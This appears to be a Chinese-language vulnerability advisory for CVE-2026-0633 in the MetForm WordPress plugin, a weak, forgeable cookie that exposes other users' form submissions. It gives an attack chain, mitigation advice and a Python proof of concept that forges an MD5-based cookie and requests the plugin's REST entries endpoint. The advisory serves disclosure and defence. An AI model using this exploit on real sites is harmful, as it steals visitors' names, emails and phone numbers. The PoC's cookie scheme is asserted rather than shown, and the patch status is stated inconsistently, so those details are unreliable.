IPBUF安全漏洞报告
English
CVE-2026-0633 CVSS 3.7 低危

CVE-2026-0633 MetForm插件敏感信息泄露漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2026-0633
漏洞类型
敏感信息泄露
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MetForm – Contact Form, Survey, Quiz, & Custom Form Builder for Elementor

相关标签

敏感信息泄露MetFormWordPress插件弱认证Cookie伪造短代码漏洞Elementor表单

漏洞概述

MetForm是WordPress平台上一款流行的Elementor表单构建插件,提供联系表单、调查问卷、测验和自定义表单功能。该插件在4.1.0及以下版本中存在敏感信息泄露漏洞。漏洞根源在于插件使用基于entry ID和当前用户ID生成的cookie值,该cookie缺乏服务器端密钥保护,属于可伪造的弱认证机制。在默认15分钟的transient TTL(生存时间)内,未经认证的攻击者可以通过MetForm短代码访问其他用户创建的表单提交条目数据。攻击者利用精心构造的请求,可获取表单中包含的敏感用户信息,如姓名、邮箱地址、电话号码、IP地址等个人数据。此漏洞无需任何用户交互,攻击者可远程利用,对目标系统的机密性造成威胁。

技术细节

漏洞存在于MetForm插件的短代码处理逻辑中。当用户访问包含表单条目的页面时,插件会生成一个cookie用于验证访问权限,但该cookie的生成算法仅依赖entry ID和当前用户ID两个参数,缺少服务器端密钥(如盐值或随机数)的参与。具体实现中,cookie值可通过反向工程轻易预测和伪造。攻击者只需知道目标表单条目的entry ID,即可构造有效的cookie值绕过访问控制。插件在处理短代码渲染请求时,会检查cookie有效性但验证机制薄弱,允许攻击者以任意用户身份读取表单数据。该漏洞利用条件为:1)目标站点运行受影响的MetForm版本;2)存在可访问的表单条目;3)在transient TTL(默认15分钟)有效期内。攻击者可通过自动化脚本批量扫描和抓取表单数据。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress站点,确认安装了MetForm插件并获取其版本号
STEP 2
步骤2
攻击者访问包含MetForm短代码的页面,记录可访问的表单条目ID(entry_id)
STEP 3
步骤3
攻击者利用弱认证算法,根据已知的entry_id和任意user_id构造可伪造的cookie值
STEP 4
步骤4
攻击者携带伪造的cookie,通过MetForm API端点或短代码接口请求目标表单条目数据
STEP 5
步骤5
在transient TTL有效期内(默认15分钟),插件验证cookie通过并返回敏感表单数据
STEP 6
步骤6
攻击者批量自动化抓取所有可访问的表单条目信息,包括用户姓名、邮箱、电话、IP地址等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import hashlib import requests from datetime import datetime TARGET_URL = "https://vulnerable-site.com" ENTRY_ID = 123 # 目标表单条目ID USER_ID = 1 # 任意用户ID def generate_forgeable_cookie(entry_id, user_id): """Generate forgeable cookie value based on entry ID and user ID""" data = f"{entry_id}:{user_id}" cookie_value = hashlib.md5(data.encode()).hexdigest() return {"metform_entry_token": cookie_value} def exploit_sensitive_data(): """Exploit CVE-2026-0633 to access form submission data""" headers = { "User-Agent": "Mozilla/5.0", "Cookie": "; ".join([f"{k}={v}" for k, v in generate_forgeable_cookie(ENTRY_ID, USER_ID).items()]) } # Exploit via shortcode endpoint params = {"entry_id": ENTRY_ID} response = requests.get(f"{TARGET_URL}/wp-json/metform/v1/entries/{ENTRY_ID}", headers=headers, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully extracted form data at {datetime.now()}") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploitation failed: HTTP {response.status_code}") if __name__ == "__main__": exploit_sensitive_data()

影响范围

MetForm plugin < 4.1.1

防御指南

临时缓解措施
在官方补丁发布前,可暂时禁用MetForm插件或限制其短代码的使用;同时可考虑使用Web应用防火墙(WAF)规则拦截异常的表单条目API请求。建议监控访问日志,排查是否存在大量针对/wp-json/metform/端点的可疑请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表